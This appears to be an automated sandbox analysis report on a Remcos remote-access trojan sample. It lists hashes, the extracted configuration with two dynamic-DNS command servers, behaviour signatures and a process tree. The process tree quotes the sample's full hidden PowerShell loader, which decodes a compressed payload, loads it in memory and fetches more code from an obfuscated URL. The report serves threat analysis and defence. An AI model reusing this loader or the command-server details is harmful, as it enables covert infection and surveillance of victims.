remcos | ee38c6e737793ab18727008f57800a10ef931f2dead3bb4141bb47e25fd4c19a

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/06/2026, 10:50

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General

Target
SKM_22726060600310.vbs
Size 14.4MB
Sample260608-mxrt3ac14t
SHA256 ee38c6e737793ab18727008f57800a10ef931f2dead3bb4141bb47e25fd4c19a
MD5 39a2e7b10e20748dd956f7c331c0a73e
SHA1 166ad522bb116e38e3fded100c7979cead975b99
SHA512 a46583c454c420bb91a74f496195f262ec5e99ce724996bac247895c5173cc6ef8ec8bf453e9a4a66b182d3deeca129583301d0420a82fae1b0d67165f299940
SSDEEP 1536:+uGipwnBM3FWEVUbBROafBZ5r0h42a5tHnw8dRL/+FWPMXXr0gYiaah3OPlWVjtT:p
TLSH
T10AE6D8427B5822CE766BEFE97C10005A4FD556FEB0F6D114F31A8DEE90D1AA4081CBB9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

photo%$collection discovery execution remcos rat

Malware Config

Extracted

Family

remcos

Version

7.2.5 Pro

Botnet

PHOTO%$

1sun.duckdns.org:62885
1sun-bk.duckdns.org:55793

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JAYBIE
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4976	1276	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	4976	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4976	powershell.exe
3872	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Caspol.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Caspol.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4976 set thread context of 3996	4976	powershell.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
3872	powershell.exe
4976	powershell.exe
3872	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4296 wrote to memory of 3872	4296	WScript.exe	92
PID 4976 wrote to memory of 2484	4976	powershell.exe	97
PID 4976 wrote to memory of 2512	4976	powershell.exe	98
PID 4976 wrote to memory of 3996	4976	powershell.exe	99
PID 4976 wrote to memory of 3996	4976	powershell.exe	99
PID 4976 wrote to memory of 3996	4976	powershell.exe	99
PID 4976 wrote to memory of 3996	4976	powershell.exe	99
PID 4976 wrote to memory of 3996	4976	powershell.exe	99
PID 4976 wrote to memory of 3996	4976	powershell.exe	99
PID 4976 wrote to memory of 3996	4976	powershell.exe	99

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Caspol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SKM_22726060600310.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/DDVO-W3BO-CVPY-3175/vzt_2eep01.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','jFpn0CGmHt','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','jFpn0CGmHt','','1','','a33Nu5HbDZ','0','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/DDVO-W3BO-CVPY-3175/vzt_2eep01.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','jFpn0CGmHt','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','jFpn0CGmHt','','1','','a33Nu5HbDZ','0','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4976
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  PID:2484
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  PID:2512
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - outlook_office_path
  PID:3996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 e540e0821ab0cd7e8da60d986bf463be8e5203e9e031c373fdfce3145f6c909f
MD5 d8bb85627b82ed29e083b75fb873d8a9
SHA1 e5b9e8ee2e0ab23969da2bdb33d5f005a0ebf81a
SHA512 210ad1e1cbfaa73265521318ba7572e10113e201bffe81cb5c3feb8f2d598b37476dddb16e2b32f55230d3384432253a92b29bf652187fade0a83a8b85bbfc66
TLSH
T14B51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 48d89d12cb450c1de2c76add583cbe2f0271461f54edaf461eca8a5b90c5020d
MD5 580f8dd793c8daba6eb2f36e305e97ea
SHA1 6f82ddec06e725a5123ea1037928b556039627d7
SHA512 06624ff4e4e5c165a646c28437e82ce93f7a0c120196e27fc02c221f95726987ae148cc8e7564ddd7ccdc43f6d08b6abc91da22e7d3d2aed234270043743b548
TLSH
T1CB217427B39CC921CC96113A009EAC1172B6C3DB81AECF9F6FC0D210A16F994CB71694
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_wiinbkpw.l1k.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wiinbkpw.l1k.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3872-3-0x0000020AC6070000-0x0000020AC6080000-memory.dmp

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memory/3872-1-0x0000020AC6070000-0x0000020AC6080000-memory.dmp

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memory/3996-46-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-37-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/3996-54-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-23-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-53-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-52-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-27-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-28-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-29-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-31-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-30-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-32-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-33-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/3996-51-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-36-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/3996-44-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-49-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-45-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-47-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/3996-50-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/4976-2-0x0000018CF9790000-0x0000018CF97A0000-memory.dmp

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memory/4976-19-0x0000018CFBD80000-0x0000018CFBE34000-memory.dmp

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memory/4976-0-0x0000018CF9790000-0x0000018CF97A0000-memory.dmp

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memory/4976-17-0x0000018CF96E0000-0x0000018CF9702000-memory.dmp

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memory/4976-20-0x0000018CF96D0000-0x0000018CF96DA000-memory.dmp

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